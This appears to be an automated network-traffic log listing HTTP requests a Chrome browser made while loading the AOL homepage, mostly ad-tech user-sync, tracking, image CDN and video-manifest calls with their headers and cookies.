Source: global traffic	HTTP traffic detected: GET /v1/evp/asset?bcid=5afc769f7239855a15fcee15&pid=5afc75ea3a04293dad9f1a1f&secure=true&rssId=42b897a6-9771-3329-b351-69a701a77438&firstVideo=true&height=276&width=368&sid=c32aa27e-7796-468d-8df4-0e2b43fa14aa&show_name=AP&site=aolhomepage&region=US&lang=en-US&space_id=1197803361&experience=aolhomepage&expn=aolhomepage&expb=aol-acookie-control%2Caol-aa-1&b_id=39ed8tlj4vh45&licensor_id=a077000000IpoJiAAJ&us_privacy=1YNN&isDockable=false&m.type=VOD&device=desktop&v=1&f=json&s2s=true&gdpr=false&content_len=68&content_title=3+Things+to+Know%3A+Graceland%2C+Prince+William%2C+Barrymore&content_id=6bdcc9b44e4944e0afb2acf2b5e6c7e6&gpp=DBAA&gpp_sid=-1&pver=1.6.29&aver=3.642.0&country=US&state=California&state_code=CA&place=90013&place_type=zip&ad.plseq=1&ad.pct=aol&ad.pl=up&ad.pt=home&ad.pubfamily=aol&pos=preroll&evp=bcp&fmt=vmap&ps=b2be1uzt&r=https%3A%2F%2Fwww.aol.com%2F&givn=[GOOGLE_INSTREAM_VIDEO_NONCE]&pbckt=Treatment_Oath_Player&npa=0&ltd=0&ppid= HTTP/1.1Host: tb.pbs.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.aol.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
Source: global traffic	HTTP traffic detected: GET /qmap?c=240&tp=PUBM&tpid=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.crwdcntrl.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync?b=adf&i=8785666810998501200&gdpr=0&gdpr_consent= HTTP/1.1Host: usersync.gumgum.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2023-06%2F1504f900-095d-11ee-af59-036f8ef2680e&client=76f99bdb8f78cd44cc0b&signature=1ec7b18a657fd83305c83548d3b4199e6b95779d HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2021-12%2Fe9cc2d60-6982-11ec-b3df-9bd0426ec2ec&client=76f99bdb8f78cd44cc0b&signature=f5d1374db0e429e85fd1964b6c7fb344aaa01682 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2020-12%2F575bc790-355f-11eb-ad7b-2304a1f8730f&client=76f99bdb8f78cd44cc0b&signature=9b569f872b6a38596add6accc7576c1eae74c4ee HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?quality=80&thumbnail=400%2C300%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_abc_news_articles_665%2Fce9119db9a6a3fd7ce671c453a67258b&client=76f99bdb8f78cd44cc0b&signature=ae1728db52d9d6fbb164d1ce325903df077d73f3 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2021-11%2Faacb3290-4bb5-11ec-9dff-c91b8179f931&client=76f99bdb8f78cd44cc0b&signature=9db333fbfbd97c489dfb11e31107155b55541a73 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?quality=80&thumbnail=400%2C300%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_the_hill_articles_315%2Fa8f1b79ccfa49ece83246e7de9753c7f&client=76f99bdb8f78cd44cc0b&signature=17a3754ad81162af66e87793ce5ba329a1e10d89 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync?b=rth&i=VmE3357sx_5fBlXS5aQvRPDoXLvjgOaSpguvq4YkHhU&pi=gumgum&tc=1 HTTP/1.1Host: usersync.gumgum.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
Source: global traffic	HTTP traffic detected: GET /cr?key=pubmatic&gdpr=0&gdpr_consent=&bounce=1&random=1818656517 HTTP/1.1Host: cr.frontend.weborama.frConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AFFICHE_W=YFuQnmToqQ5g67
Source: global traffic	HTTP traffic detected: GET /libtrc/tr5?abgroup=trecs-yahoo-2_var-bridge HTTP/1.1Host: cdn.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: abLdr=21; t_gid=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; t_pt_gid=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14
Source: global traffic	HTTP traffic detected: GET /track/cmf/rubicon?gdpr=0&us_privacy=1YNN HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=8369ae03-bf51-422b-a15c-33306b0e1dfe; TDCPM=CAESFwoIcHVibWF0aWMSCwjeipPY0-D9PBAFGAEgASgCMgsInoGWherg_TwQBTgBWghwdWJtYXRpY2AC
Source: global traffic	HTTP traffic detected: GET /s/dcm?pid=4bd6ceca-c698-4782-a536-f380f757484c&id=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&redir=true&gdpr=0&gdpr_consent=&dcc=t HTTP/1.1Host: aax-eu.amazon-adsystem.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A5cRjNUAyEa0vmcria2wSMY\|t
Source: global traffic	HTTP traffic detected: GET /s/dcm?pid=a38a8ddf-19a7-4ab8-ba05-0a61de92a7e5&id=&gdpr=0&us_privacy=1YNN HTTP/1.1Host: aax-eu.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A5cRjNUAyEa0vmcria2wSMY\|t
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=rubicon&google_cm&google_sc&process_consent=T&gdpr=0&us_privacy=1YNN HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /ups/58831/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://www.aol.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; IDSYNC="19cw~2ila:19e0~2ila"
Source: global traffic	HTTP traffic detected: GET /manifest/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/08aab345-a7a0-4751-97b3-5c0984f74840/6s/rendition.m3u8?fastly_token=NjY1MDFjYzRfMzNhYWI2NTQ0M2EyZjQ2MzY3N2FiYTM2N2MzNzY0NGNmNjFhOWZkMjZjYjM3OTczYTVjODYzZDVmMWE2NDkzMg%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w HTTP/1.1Host: manifest.prod.boltdns.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://s.yimg.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&delivery_type=ondemand&media_type=video&time=1716503699269&event=video_impression&video=6353510307112&video_name=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&reference_id=42b897a6-9771-3329-b351-69a701a77438&custom_fields=&video_data=&video_ads_supported=true&&video_duration=68&media_url=https%3A%2F%2Fmanifest.prod.boltdns.net%2Fmanifest%2Fv1%2Fhls%2Fv4%2Faes128%2F6415665815001%2F6b9daf23-4bde-40fd-8649-5be6dcb9691e%2F6s%2Fmaster.m3u8%3Ffastly_token%3DNjY0ZmQyYTRfNWNiMTk1ODk1ZjEzZTI4MWM2NzRhYTliNGI1ZTZiZWJiYmI1MjIzNThkNmVlY2FiNDI5ZWZjYjE3ZWFjYTJlZg%253D%253D%26bcov_auth%3DeyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w&qos.content.sourceMimeType=application%2Fvnd.apple.mpegurl&seq=5_0&web_ad_info=%7B%22plugin%22%3A%22ima3%22%2C%22pluginVersion%22%3A%225.4.2%22%2C%22requestMode%22%3A%22onload%22%2C%22timeout%22%3A10000%7D&preload=metadata HTTP/1.1Host: metrics.brightcove.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync?b=zem&i=Ldu6nP-f8GRn9WiN8PL4&gdpr=0&us_privacy=1YNN HTTP/1.1Host: usersync.gumgum.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
Source: global traffic	HTTP traffic detected: GET /sync?nid=114&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1Host: sync.srv.stackadapt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sa-user-id=s%3A0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee.cC1n3zDyhdfUajg1KrKz%2FEnduQyH5exIiG0vveKiBJ0; sa-user-id=s%3A0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee.cC1n3zDyhdfUajg1KrKz%2FEnduQyH5exIiG0vveKiBJ0; sa-user-id-v2=s%3AwDRi3Y1XWudtyec5KKvj7ggue68.1BtdFXujCU3EjthsQO1J%2BECW%2FD5g81GrEa24jcaxRBo; sa-user-id-v2=s%3AwDRi3Y1XWudtyec5KKvj7ggue68.1BtdFXujCU3EjthsQO1J%2BECW%2FD5g81GrEa24jcaxRBo; sa-user-id-v3=s%3AAQAKICWK7ROb07V9PmEn2vVZdbPEAOAQWut3_axX1l4WbhH3EHwYBCCQib-yBjABOgT87-jmQgTyVnXP.E45gq9hya5Nv1NRfp5pA0NcenT6KPMIL4Fw9pUjGZxY; sa-user-id-v3=s%3AAQAKICWK7ROb07V9PmEn2vVZdbPEAOAQWut3_axX1l4WbhH3EHwYBCCQib-yBjABOgT87-jmQgTyVnXP.E45gq9hya5Nv1NRfp5pA0NcenT6KPMIL4Fw9pUjGZxY
Source: global traffic	HTTP traffic detected: GET /libtrc/impl.20240523-16-RELEASE.js HTTP/1.1Host: cdn.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: abLdr=21; t_gid=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; t_pt_gid=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14
Source: global traffic	HTTP traffic detected: GET /sync/pubmatic/BD0DE19C-09D4-4B62-A188-46A0D2E6C177?gdpr=0&gdpr_consent= HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
Source: global traffic	HTTP traffic detected: GET /dcm?pid=50cd21b7-d8d7-4615-9fb9-a2be831f8488&id=&gdpr=0&us_privacy=1YNN HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A5cRjNUAyEa0vmcria2wSMY\|t
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?gdpr=0&vcode=bz0yJnR5cGU9MSZjb2RlPTExMTMmdGw9NDMyMDA=&piggybackCookie=JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9 HTTP/1.1Host: image2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; chkChromeAb67Sec=1; pi=133799:2; DPSync3=1717632000%3A201_245_241_227; SyncRTB3=1717632000%3A21_56_251_71_3_220_13_54_8%7C1717027200%3A223
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=9165965397510453586&gdpr=0&gdpr_consent= HTTP/1.1Host: simage2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; chkChromeAb67Sec=1; pi=133799:2; DPSync3=1717632000%3A201_245_241_227; SyncRTB3=1717632000%3A21_56_251_71_3_220_13_54_8%7C1717027200%3A223
